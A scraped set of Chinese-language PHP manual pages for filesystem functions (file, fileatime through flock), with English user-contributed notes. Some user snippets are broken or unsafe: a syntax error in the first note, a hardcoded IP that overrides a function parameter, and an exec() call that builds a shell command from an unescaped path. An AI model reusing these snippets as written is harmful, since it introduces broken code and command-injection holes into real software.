If you want to send a URL via GET to a script and want to open this URL via file() there are problems if there is a & sign in the URL, all after die & sign is cut.

TO fix this an get it working with the & sign in the URL

@$myopenedcontent= implode("", file ("$url"));
$myopenedcontent=eregi_replace('&','{KU}',$myopenedcontent);

so all & signs are replaced by {KU}

before use the file() function you have to rereplace it, the whole code:

$url=eregi_replace('{KU}','&,$url);
@$myopenedcontent= implode("", file ("$url"));
$myopenedcontent=eregi_replace('&','{KU}',$myopenedcontent);
echo "$myopenedcontent";

hope it is helpful ;)

Bye
Afterburner
justin at visunet dot ie
21-Mar-2003 01:36
Note: Now that file() is binary safe it is 'much' slower than it used to be. If you are planning to read large files it may be worth your while using fgets() instead of file() For example:

$fd = fopen ("log_file.txt", "r");
while (!feof ($fd))
{
   $buffer = fgets($fd, 4096);
   $lines[] = $buffer;
}
fclose ($fd);

The resulting array is $lines.

I did a test on a 200,000 line file. It took seconds with fgets()  compared to minutes with file().
04-Mar-2003 06:16
You can use file with https if you go to:

http://ftp.proventum.net/pub/php/win32/misc/openssl/.

This is instead of using the php_openssl.dll, so be sure to comment this extension in your php.ini.
akaylaa at yahoo dot com
06-Dec-2002 03:01
a quick way to count the number of lines in a file is

 $lines = file ('filename');
 $num_lines = count ($lines);

echo ("Total lines in file: " . $num_lines);
e dot maccarthy at csuohio dot edu
03-Jun-2002 06:04
[[Editors note: using fopen/fgets instead of file() would be more efficient for this task as there is no need to load the entire file into memory]]

Here is a quick snippet that will read in N number of lines of a file, then print them.

$n=10
$fp = file('/path/to/your/file');
$i=0
while($i < $n){
           echo "$fp[$i]";
           $i++;
}

I am using this right now to display the current progress of the seti@home client working on my server, instead of displaying the whole thing, which isn't web page friendly.
Because sometimes short really is sweet...
andrea at brancatelli dot it
17-Mar-2002 03:16
file() has a strange behaviour when reading file with both \n and \r as line delimitator (DOS files), since it will return an array with every single line but with just a \n in the end. It seems like \r just disappears.

This is happening with PHP 4.0.4 for OS/2. Don't know about the Windows version.
php@don't_spam_me
10-Feb-2002 04:56
It appears that the file() function causes file access problems for perl cgi scripts accessing the same files.  I am using Perl v5.6.0 in linux with PHP/4.0.4pl1.  After running a php app using the file() function, any perl cgi trying to access the same file randomly dies returning an internal server error: premature end of script headers.

The simple fix is to use fopen(), fgets() and fclose() instead of file().
add a note add a note

后退 | 起点 | 前进
file_put_contents | 上一级 | fileatime


fileatime

(PHP 3, PHP 4, PHP 5)

fileatime -- 取得文件的上次访问时间

说明

int fileatime ( string filename )

返回文件上次被访问的时间，如果出错则返回 FALSE。时间以 Unix 时间戳的方式返回。

注意：一个文件的 atime 应该在不论何时读取了此文件中的数据块时被更改。当一个应用程序定期访问大量文件或目录时很影响性能。有些 Unix 文件系统可以在加载时关闭 atime 的更新以提高这类程序的性能。USENET 新闻组假脱机是一个常见的例子。在这种文件系统下本函数没有用处。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

例子 1. fileatime() 例子

<?php

// 输出类似：somefile.txt was last accessed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last accessed: " . date("F d Y H:i:s.", fileatime($filename));
}

?>

参见 filemtime()，fileinode() 和 date()。

add a note add a note User Contributed Notes
Maulwurf
11-Oct-2004 12:12
Using this function on Win98 made me grow grey hair.
Win 98 doesn't save the time for the last access. It only saves the date. This way, the returned timestamp from fileatime(file) is always much too small.

this command will always return false:

if($now - $last_access >1800) {
do something
}

using filemtime() instead did the thing.
add a note add a note

后退 | 起点 | 前进
file | 上一级 | filectime


filectime

(PHP 3, PHP 4, PHP 5)

filectime -- 取得文件的 inode 修改时间

说明

int filectime ( string filename )

返回文件上次 inode 被修改的时间，如果出错则返回 FALSE。时间以 Unix 时间戳的方式返回。

注意：在大多数 Unix 文件系统中，当一个文件的 inode 数据被改变时则该文件被认为是修改了。也就是说，当文件的权限，所有者，所有组或其它 inode 中的元数据被更新时。参见 filemtime()（这才是你想用于在 web 页面中建立“最后更新时间”脚注的函数）和 fileatime()。

注意某些 Unix 说明文本中把 ctime 说成是该文件建立的时间，这是错的。在大多数 Unix 文件系统中没有 Unix 文件的建立时间。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

例子 1. 一个 fileatime() 的例子

<?php

// 输出类似：somefile.txt was last changed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last changed: " . date("F d Y H:i:s.", filectime($filename));
}

?>

参见 filemtime()。

add a note add a note User Contributed Notes
gyrbo[at]yahoo[dot]com
22-Sep-2002 07:35
filectime doesn't seem to be working properly on Win32 systems (it seems to return the creation time). Try using filemtime if you have problems.
laurent dot pireyn at wanadoo dot be
27-Sep-2001 08:01
If you use filectime with a symbolic link, you will get the change time of the file actually linked to. To get informations about the link self, use lstat.
add a note add a note

后退 | 起点 | 前进
fileatime | 上一级 | filegroup


filegroup

(PHP 3, PHP 4, PHP 5)

filegroup -- 取得文件的组

说明

int filegroup ( string filename )

取得该文件所属组的 ID。如果出错则返回 FALSE。组 ID 以数字格式返回，用 posix_getgrgid() 来将其解析为组名。如果失败返回 FALSE 以及一个 E_WARNING 级别的错误。

本函数的结果会被缓存。详细信息见 clearstatcache()。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 fileowner() 和 safe_mode_gid。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
filectime | 上一级 | fileinode


fileinode

(PHP 3, PHP 4, PHP 5)

fileinode -- 取得文件的 inode

说明

int fileinode ( string filename )

返回文件的 inode 节点号，出错时返回 FALSE。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 stat()。

add a note add a note User Contributed Notes
mark nearby techexplained dot com
07-Jan-2005 01:37
This function, in spite of its name, also works for directories. Most any valid path in the filesystem will generate an inode value.
add a note add a note

后退 | 起点 | 前进
filegroup | 上一级 | filemtime


filemtime

(PHP 3, PHP 4, PHP 5)

filemtime -- 取得文件修改时间

说明

int filemtime ( string filename )

返回文件上次被修改的时间，出错时返回 FALSE。时间以 Unix 时间戳的方式返回，可用于 date()。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

本函数返回文件中的数据块上次被写入的时间，也就是说，文件的内容上次被修改的时间。

例子 1. filemtime() 例子

<?php
// outputs e.g.  somefile.txt was last modified: December 29 2002 22:16:23.
$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last modified: " . date ("F d Y H:i:s.", filemtime($filename));

}
?>

参见 filectime()，stat()，touch() 和 getlastmod()。

add a note add a note User Contributed Notes
madsen at lillesvin dot net
26-Sep-2005 06:39
There are a couple of things to point out about the otherwise great example posted by "notepad at codewalkers dot com".

First of all, as "dma05 at web dot de" pointed out, use HEAD instead of GET - that's being nice to your fellow man.

Second, it will only allow communication on port 80. That can easilly be solved.

<?php
function remote_filemtime($url)
{
   $uri = parse_url($url);
   $uri['port'] = isset($uri['port']) ? $uri['port'] : 80;
   $handle = @fsockopen($uri['host'], $uri['port']);
   // ...
}
?>

But hey, thanks a lot for the function! I've really had great use of it.
dma05 at web dot de
24-Apr-2005 05:25
concerning "notepad at codewalkers dot com"'s code:

this code is pretty neat, but i just wanted to note that using the "HEAD"-method instead of the "GET"-method in the http-request might be preferrable, since then not the whole resource is being downloaded...

http/1.1 definiton snippet:
Section "9.4 HEAD"

 The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request. This method can be used for obtaining metainformation about the entity implied by the request without transferring the entity-body itself. This method is often used for testing hypertext links for validity, accessibility, and recent modification. [...]
-- snippet end ---

the code would then be...:

-- snippet ---
fputs($handle,"HEAD $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
-- snippet end ---

regards, Magnus
notepad at codewalkers dot com
11-Mar-2005 05:53
i needed the ability to grab the mod time of an image on a remote site. the following is the solution with the help of Joe Ferris.

<?php

function filemtime_remote($uri)
{
   $uri = parse_url($uri);
   $handle = @fsockopen($uri['host'],80);
   if(!$handle)
       return 0;

   fputs($handle,"GET $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
   $result = 0;
   while(!feof($handle))
   {
       $line = fgets($handle,1024);
       if(!trim($line))
           break;

       $col = strpos($line,':');
       if($col !== false)
       {
           $header = trim(substr($line,0,$col));
           $value = trim(substr($line,$col+1));
           if(strtolower($header) == 'last-modified')
           {
               $result = strtotime($value);
               break;
           }
       }
   }
   fclose($handle);
   return $result;
}
// echo filemtime_remote('http://www.somesite.com/someimage.jpg');

?>
habazi at yahoo dot com
22-Feb-2005 02:13
"this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories)."

This is not (necessarily) correct either. In *nix the timestamp can be independently set. For example the command "touch directory" updates the timestamp of a directory without file creation.

Also file removal will update the timestamp of a directory.
10-Dec-2004 12:30
A comment below states

  "When using this function to get the modified date of a directory,
   it returns the date of the file in that directory that was last modified."

this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories).
aidan at php dot net
26-Oct-2004 08:42
If you're looking to convert timestamps to a duration, for example "10" to "10 seconds", or "61" to "1 minute 1 second", try the Duration class.

http://aidan.dotgeek.org/lib/?file=Duration.php
adam at roomvoter dot com
02-May-2004 04:42
The snippet of code earlier that allows you to delete all files older than 2 weeks uses the function (filemtime) - which checks the original create date of the file (filesystem independent).  You MAY want to use filectime() - that looks at when the file was last changed on YOUR file system.

       if (is_dir("$path") )
       {
           $handle=opendir($path);
           while (false!==($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   $Diff = (time() - filectime("$path/$file"))/60/60/24;
                   if ($Diff > 14) unlink("$path/$file");

               }
           }
           closedir($handle);
       }
wookie at at no-way dot org
15-Sep-2003 05:17
Another little handy tool; to get the most recent modified time from files in a directory. It even does recursive directories if you set the $doRecursive param to true. Based on a file/directory list function I saw somewhere on this site. ;)

function mostRecentModifiedFileTime($dirName,$doRecursive) {
   $d = dir($dirName);
   $lastModified = 0;
   while($entry = $d->read()) {
       if ($entry != "." && $entry != "..") {
           if (!is_dir($dirName."/".$entry)) {
               $currentModified = filemtime($dirName."/".$entry);
           } else if ($doRecursive && is_dir($dirName."/".$entry)) {
               $currentModified = mostRecentModifiedFileTime($dirName."/".$entry,true);
           }
           if ($currentModified > $lastModified){
               $lastModified = $currentModified;
           }
       }
   }
   $d->close();
   return $lastModified;
}
paranoid at dds dot nl
05-Jun-2003 08:43
To get the last modification time of a directory, you can use this:

<pre>
$getLastModDir = filemtime("/path/to/directory/.");
</pre>

Take note on the last dot which is needed to see the directory as a file and to actually get a last modification date of it.

This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account.

Regards,
Frank Keijzers
laurent dot pireyn at wanadoo dot be
27-Sep-2001 08:00
If you use filemtime with a symbolic link, you will get the modification time of the file actually linked to. To get informations about the link self, use lstat.
24-Aug-2001 10:08
When using this function to get the modified date of a directory, it returns the date of the file in that directory that was last modified.
jay at fudge dot org
30-Jun-1999 04:55
If you want this functionality for the parent web page you should use getlastmod()
i.e.
<?php echo "Last modified: ".date( "F d Y H:i:s.", getlastmod() ); ?>
within the included page... i.e. as a commont footer include for all pages
gerardj at home dot com
20-May-1999 11:27
The above code works fine if you place it on each page you want a date stamp on.  I've found that if you place a reference such as filemtime(__FILE__) in an included or required file, that the modification time of the inherited file will be returned, not the time of the file that did the ineriting.
add a note add a note

后退 | 起点 | 前进
fileinode | 上一级 | fileowner


fileowner

(PHP 3, PHP 4, PHP 5)

fileowner -- 取得文件的所有者

说明

int fileowner ( string filename )

返回文件所有的用户 ID，如果出错则返回 FALSE。用户 ID 以数字格式返回，用 posix_getpwuid() 来将其解析为用户名。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 stat()。

add a note add a note User Contributed Notes
29-Jan-2006 08:58
Small note: the function resolves symbolic links. That is, if the link is created by user 999 and maps to a file owned by user 666, this function returns 666 :(
Alienka
26-Apr-2003 06:26
I have PHP Version 4.3.0 running under Windows 2000.
And this function is available :)
It returns a boolean false if the file given as a parameter does not exist. And returns integer 0 for a file that does exist.
add a note add a note

后退 | 起点 | 前进
filemtime | 上一级 | fileperms


fileperms

(PHP 3, PHP 4, PHP 5)

fileperms -- 取得文件的权限

说明

int fileperms ( string filename )

返回文件的访问权限，如果出错则返回 FALSE。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

例子 1. 以八进制的形式显示文件的权限

<?php
echo substr(sprintf('%o', fileperms('/tmp')), -4);
echo substr(sprintf('%o', fileperms('/etc/passwd')), -4);
?>

上例将输出：

1777
0644

例子 2. 输出全部权限

<?php
$perms = fileperms('/etc/passwd');

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

echo $info;
?>

上例将输出：

-r--r--r--

参见 is_readable() 和 stat()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fileowner | 上一级 | filesize


filesize

(PHP 3, PHP 4, PHP 5)

filesize -- 取得文件大小

说明

int filesize ( string filename )

返回文件大小的字节数，如果出错返回 FALSE （在错误报告级别为 E_WARNING的情况下）。

注: 因为 PHP 的整数类型是有符号的，并且大多数平台使用 32 位整数，filesize() 函数在碰到大于 2GB 的文件时可能会返回非预期的结果。对于 2GB 到 4GB 之间的文件通常可以使用 sprintf("%u", filesize($file)) 来克服此问题。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

例子 1. filesize() 例子

<?php

// 输出类似：somefile.txt: 1024 bytes

$filename = 'somefile.txt';
echo $filename . ': ' . filesize($filename) . ' bytes';

?>

参见 file_exists()。

add a note add a note User Contributed Notes
service at dual-creators dot de
23-May-2006 04:57
HiHo!
I modified the note of php dot net at alan-smith dot no-ip dot com cause i guess that's might be an endless while clause!

<?
function resize_bytes($size)
{
   $count = 0;
   $format = array("B","KB","MB","GB","TB","PB","EB","ZB","YB");
   while(($size/1024)>1 && $count<8)
   {
       $size=$size/1024;
       $count++;
   }
   $return = number_format($size,0,'','.')." ".$format[$count];
   return $return;
}
?>

Anyway gratz! Nice idea thx ;)
core58 at mail dot ru
14-Apr-2006 11:21
some notes and modifications to previous post.
refering to RFC, when using HTTP/1.1 your request (either GET or POST or HEAD) must contain Host header string, opposite to HTTP/1.1 where Host ain't required. but there's no sure how your remote server would treat the request so you can add Host anyway (it won't be an error for HTTP/1.0).
host value _must_ be a host name (not CNAME and not IP address).

this function catches response, containing Location header and recursively sends HEAD request to host where we are moved until final response is met.
(you can experience such redirections often when downloading something from php scripts or some hash links that use apache mod_rewrite. most all of dowloading masters handle 302 redirects correctly, so this code does it too (running recursively thru 302 redirections).)

[$counter302] specify how much times your allow this function to jump if redirections are met. If initial limit (5 is default) expired -- it returns 0 (should be modified for your purposes whatever).0
ReadHeader() function is listed in previous post
(param description is placed there too).

<?php
function remote_filesize_thru( $ipAddress, $url, $counter302 = 5 )
{
   $socket = fsockopen( "10.233.225.2", 8080 );
   if( !$socket )
   {
       // failed to open TCP socket connection
       // do something sensible here besides exit();
       echo "<br>failed to open socket for [$ipAddress]";
       exit();
   }

   // just send HEAD request to server
   $head = "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n";
   // you may use HTTP/1.1 instead, then your request head string _must_ contain "Host: " header
   fwrite( $socket, $head );

   // read the response header
   $header = ReadHeader( $socket );
   if( !$header )
   {
       // handle empty response here the way you need...
       Header( "HTTP/1.1 404 Not Found" );
       exit();
   }

   fclose( $socket );

   // check for "Location" header
   $locationMarker = "Location: ";
   $pos = strpos( $header, $locationMarker );
   if( $pos > 0 )
   {
           $counter302--;
           if( $counter302 < 0 )
           {
                     // redirect limit (5 by default) expired -- return some warning or do something sensible here
                   echo "warning: too long redirection sequence";
                   return 0;
           }

           // Location is present -- we should determine target host and move there, like any downloading masters do...
           // no need to use regex here
           $end = strpos( $header, "\n", $pos );
           $location = trim( substr( $header, $pos + strlen( $locationMarker ), $end - $pos - strlen( $locationMarker ) ), "\\r\\n" );

             // extract pure host (without "http://")
             $host = explode( "/", $location );
             $ipa = gethostbyname( $host[2] );
             // move to Location
             return remote_filesize_thru( $ipa, $location, $counter302 );
   }

   // try to acquire Content-Length within the response
   $regex = '/Content-Length:\s([0-9].+?)\s/';
   $count = preg_match($regex, $header, $matches);

   // if there was a Content-Length field, its value
   // will now be in $matches[1]
   if( isset( $matches[1] ) )
         $size = $matches[1];
   else
         $size = 0;

   return $size;
}
fabio at nospam dot please dot nitrodev dot com
13-Apr-2006 08:46
core58 at mail dot ru, it did save me time!

One note though. I had to add the Host: header in order to get it working. The value should be the host name (DNS, not IP).
php dot net at alan-smith dot no-ip dot com
13-Apr-2006 06:16
<?
function size_hum_read($size){
/*
Returns a human readable size
*/
  $i=0;
  $iec = array("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB");
  while (($size/1024)>1) {
   $size=$size/1024;
   $i++;
  }
  return substr($size,0,strpos($size,'.')+4).$iec[$i];
}
// Usage : size_hum_read(filesize($file));
?>
core58 at mail dot ru
10-Apr-2006 08:09
this is "raw" version of remote_filesize() function.
according to RFC, HTTP servers MUST implement at least GET, POST and HEAD requests, so the function just opens TCP socket connection, sends HEAD request and receives response, parsing length of the resource.
[$ipAddress] is the ip address of remote server.
[$url] is the name of file which size you want to determine.

the code was tested under Apache 2.0.43 and IIS 6.0 and it works correctly in both cases.
i wish the code can save someone's time :)

example:
$ipa = gethostbyname( "www.someserver.com" );
$url = "/docs/somedocument.pdf";

$fsize = remote_filesize2( $ipa, $url );

==========================

<?php

function ReadHeader( $socket )
{
   $i=0;
   $header = "";
   while( true && $i<20 )
   {
       // counter [$i] is used here to avoid deadlock while reading header string
       // it's limited by [20] here cause i really haven't ever met headers with string counter greater than 20
       // *
       $s = fgets( $socket, 4096 );
       $header .= $s;

       if( strcmp( $s, "\r\n" ) == 0 || strcmp( $s, "\n" ) == 0 )
           break;
       $i++;
   }
   if( $i >= 20 )
   {
       // suspicious header strings count was read
       // *
       return false;
   }

   return $header;
}

function remote_filesize2( $ipAddress, $url )
{
   $socket = fsockopen( $ipAddress, 80 );
   if( !$socket )
   {
       // failed to open TCP socket connection
       // do something sensible here besides exit();
       // ...
       exit();

   }

   // just send HEAD request to server
   // *
   fwrite( $socket, "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n" );

   // read the response header
   // *
   $header = ReadHeader( $socket );
   if( !$header )
   {
       Header( "HTTP/1.1 404 Not Found" );
       exit();
   }

   // try to acquire Content-Length within the response
   // *
   $regex = '/Content-Length:\s([0-9].+?)\s/';
   $count = preg_match($regex, $header, $matches);

   // if there was a Content-Length field, its value
   // will now be in $matches[1]
   if( isset( $matches[1] ) )
   {
       $size = $matches[1];
   }
   else
   {
       $size = 0;
   }

   fclose( $socket );
   return $size;

}
?>
mkamerma at science dot uva dot nl
12-Mar-2006 10:12
When read/writing binary files you often cannot rely on the feof() function being of much use, since it doesn't get triggered if the pointer is at the eof but hasn't tried to read one more byte. In this case you instead need to check if the file pointer is at filesize yet, but if you don't have the filename handy, you need to pluck it out fstat all the time. Two simple functions that would be nice to have natively in PHP:

<?php
   function fpfilesize(&$fp) { $stat = fstat($fp); return $stat["size"]; }

   function fpeof(&$fp) { return ftell($fp)==fpfilesize($fp); }
?>
Jonas Sweden
10-Mar-2006 08:55
<?php

/* Recursive filesize, nothing new but a small one.
The $self var as a convenience if i want to change
functionname */

function filesize_r($path){
if(!file_exists($path)) return 0;
if(is_file($path)) return filesize($path);
$self = __FUNCTION__;
$ret = 0;
foreach(glob($path."/*") as $fn)
$ret += $self($fn);
return $ret;
}

?>
jiquera at yahoo dot com
07-Mar-2006 12:02
here a piece of code to format a filesize:

<?php

function    formatbytes($val, $digits = 3, $mode = "SI", $bB = "B"){ //$mode == "SI"|"IEC", $bB == "b"|"B"
       $si = array("", "k", "M", "G", "T", "P", "E", "Z", "Y");
       $iec = array("", "Ki", "Mi", "Gi", "Ti", "Pi", "Ei", "Zi", "Yi");
       switch(strtoupper($mode)) {
           case "SI" : $factor = 1000; $symbols = $si; break;
           case "IEC" : $factor = 1024; $symbols = $iec; break;
           default : $factor = 1000; $symbols = $si; break;
       }
       switch($bB) {
           case "b" : $val *= 8; break;
           default : $bB = "B"; break;
       }
       for($i=0;$i<count($symbols)-1 && $val>=$factor;$i++)
           $val /= $factor;
       $p = strpos($val, ".");
       if($p !== false && $p > $digits) $val = round($val);
       elseif($p !== false) $val = round($val, $digits-$p);
       return round($val, $digits) . " " . $symbols[$i] . $bB;
   }

//some test cases:

   function test($i, $digits = 3, $mode = "SI", $bB = "B"){
       echo $i . " = " . formatbytes($i, $digits, $mode, $bB) . "<br>\n";
   }

   test(1024);
   test(1024*1024);
   test(1024*1024, 4);
   test(1024*1024, 3, "IEC");
   test(1024, 3, "SI", "b");
   test(32423);
   test(323);
   test(128, "3", "IEC", "b");
   test(324235236362453);
   test(32423535424236324362453, 3, "IEC");

//actual use:

echo formatbytes(file_size("myfile.php"));

?>

it formats to bit or bytes according to SI or IEC and rounded to a given number of digits.
RobKohrPhp at remail dot robkohr dot com
05-Feb-2006 04:42
Simplified recursive size measurement. Will also take into account the size of the folders themselves.

function get_size($path)
   {
       if(!is_dir($path)) return filesize($path);
   if ($handle = opendir($path)) {
       $size = 0;
       while (false !== ($file = readdir($handle))) {
           if($file!='.' && $file!='..'){
                   $size += filesize($path.'/'.$file);
               $size += get_size($path.'/'.$file);
           }
       }
       closedir($handle);
       return $size;
   }
}
will at imarc dot net
29-Jan-2006 08:08
If you are trying to find a way to get the filesize for files over 2GB, you can always use exec() and run a system command to return the value. The following works on my linux box:

$sizeInBytes = filesize($path);
if (!$sizeInBytes) {
   $command = "ls -l \"$path\" | cut -d \" \" -f 6";
   $sizeInBytes = exec($command);
}
mateusz at bsdmail dot org
01-Jan-2006 02:54
Recursive function, which returns size of folder or file.
<?php
function get_size($path)
   {
       if(!is_dir($path))return filesize($path);
       $dir = opendir($path);
       while($file = readdir($dir))
       {
           if(is_file($path."/".$file))$size+=filesize($path."/".$file);
           if(is_dir($path."/".$file) && $file!="." && $file !="..")$size +=get_size($path."/".$file);

       }
       return $size;
   }
?>
aidan at php dot net
13-Jul-2005 12:01
This function uses a stack array to get the size of a directory.
http://aidan.dotgeek.org/lib/?file=function.dirsize.php

You can convert this to a human readable size using:
http://aidanlister.com/repos/v/function.size_readable.php

For a faster (unix only) implementation, see function.disk-total-space, note #34100
http://www.php.net/manual/en/function.disk-total-space.php#34100

Also of interest is this wikipedia article, discussing the difference between a kilobyte (1000) and a kibibyte (1024).
http://en.wikipedia.org/wiki/Bytes
Raphael Kirchner
06-Mar-2005 10:52
Addition to my earlier post: I searched around and found the background in the notes for disk_total_space():  http://www.php.net/manual/en/function.disk-total-space.php
To give a short summary here - andudi pointed out that
a) the SIZE of a file and
b) the SPACE on disk it uses
aren't equal and shalless provided a function dskspace() which returns exactly (tested!) what "du" would.
bkimble at ebaseweb dot com
20-Nov-2004 07:33
In addition to the handy function Kris posted, here is an upgraded version that does basic http authentication as well.

<?php
/*
* (mixed)remote_filesize($uri,$user='',$pw='')
* returns the size of a remote stream in bytes or
* the string 'unknown'. Also takes user and pw
* incase the site requires authentication to access
* the uri
*/
function remote_filesize($uri,$user='',$pw='')
{
   // start output buffering
   ob_start();
   // initialize curl with given uri
   $ch = curl_init($uri);
   // make sure we get the header
   curl_setopt($ch, CURLOPT_HEADER, 1);
   // make it a http HEAD request
   curl_setopt($ch, CURLOPT_NOBODY, 1);
   // if auth is needed, do it here
   if (!empty($user) && !empty($pw))
   {
       $headers = array('Authorization: Basic ' .  base64_encode($user.':'.$pw));
       curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
   }
   $okay = curl_exec($ch);
   curl_close($ch);
   // get the output buffer
   $head = ob_get_contents();
   // clean the output buffer and return to previous
   // buffer settings
   ob_end_clean();

   // gets you the numeric value from the Content-Length
   // field in the http header
   $regex = '/Content-Length:\s([0-9].+?)\s/';
   $count = preg_match($regex, $head, $matches);

   // if there was a Content-Length field, its value
   // will now be in $matches[1]
   if (isset($matches[1]))
   {
       $size = $matches[1];
   }
   else
   {
       $size = 'unknown';
   }

   return $size;
}
?>
add a note add a note

后退 | 起点 | 前进
fileperms | 上一级 | filetype


filetype

(PHP 3, PHP 4, PHP 5)

filetype -- 取得文件类型

说明

string filetype ( string filename )

返回文件的类型。可能的值有 fifo，char，dir，block，link，file 和 unknown。

如果出错则返回 FALSE。如果 stat 调用失败或者文件类型未知的话 filetype() 还会产生一个 E_NOTICE 消息。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

例子 1. filetype() 例子

<?php

echo filetype('/etc/passwd');  // file
echo filetype('/etc/');        // dir

?>

参见 is_dir()，is_file()，is_link()，file_exists()，stat() 和 mime_content_type()。

add a note add a note User Contributed Notes
Guillaume Cocatre-Zilgien
01-Nov-2004 09:42
"socket" should be added to the list of possible values that can be returned by filetype(). I have tested it with versions 4.3.0 and 5.0.2 of PHP.
ruach at chpc dot utah dot edu
11-Mar-2004 09:11
There are 7 values that can be returned. Here is a list of them and what each one means

block: block special device

char: character special device

dir: directory

fifo: FIFO (named pipe)

file: regular file

link: symbolic link

unknown: unknown file type
add a note add a note

后退 | 起点 | 前进
filesize | 上一级 | flock


flock

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

flock -- 轻便的咨询文件锁定

说明

bool flock ( int handle, int operation [, int &wouldblock] )

PHP 支持以咨询方式（也就是说所有访问程序必须使用同一方式锁定, 否则它不会工作）锁定全部文件的一种轻便方法。

注: 在 Windows 下 flock() 将会强制执行。

flock() 操作的 handle 必须是一个已经打开的文件指针。operation 可以是以下值之一：

  • 要取得共享锁定（读取程序），将 operation 设为 LOCK_SH（PHP 4.0.1 以前的版本设置为 1）。

  • 要取得独占锁定（写入程序），将 operation 设为 LOCK_EX（PHP 4.0.1 以前的版本中设置为 2）。

  • 要释放锁定（无论共享或独占），将 operation 设为 LOCK_UN（PHP 4.0.1 以前的版本中设置为 3）。

  • 如果你不希望 flock() 在锁定时堵塞，则给 operation 加上 LOCK_NB（PHP 4.0.1 以前的版本中设置为 4）。

flock() 允许你执行一个简单的可以在任何平台中使用的读取/写入模型（包括大部分的 Unix 派生版和甚至是 Windows）。如果锁定会堵塞的话（EWOULDBLOCK 错误码情况下），请将可选的第三个参数设置为 TRUE。锁定操作也可以被 fclose() 释放（代码执行完毕时也会自动调用）。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. flock() 例子

<?php

$fp = fopen("/tmp/lock.txt", "w+");

if (flock($fp, LOCK_EX)) { // 进行排它型锁定
    fwrite($fp, "Write something here\n");
    flock($fp, LOCK_UN); // 释放锁定
} else {
    echo "Couldn't lock the file !";
}

fclose($fp);

?>

注: 由于 flock() 需要一个文件指针， 因此你可能需要一个锁定文件来保护到你打算通过写模式打开来截断的文件的访问（在 fopen() 函数中加入 "w" 或 "w+"）。

警告

flock() 不能在 NFS 以及其他的一些网络文件系统中正常工作。详细资料请检查你的操作系统文档。

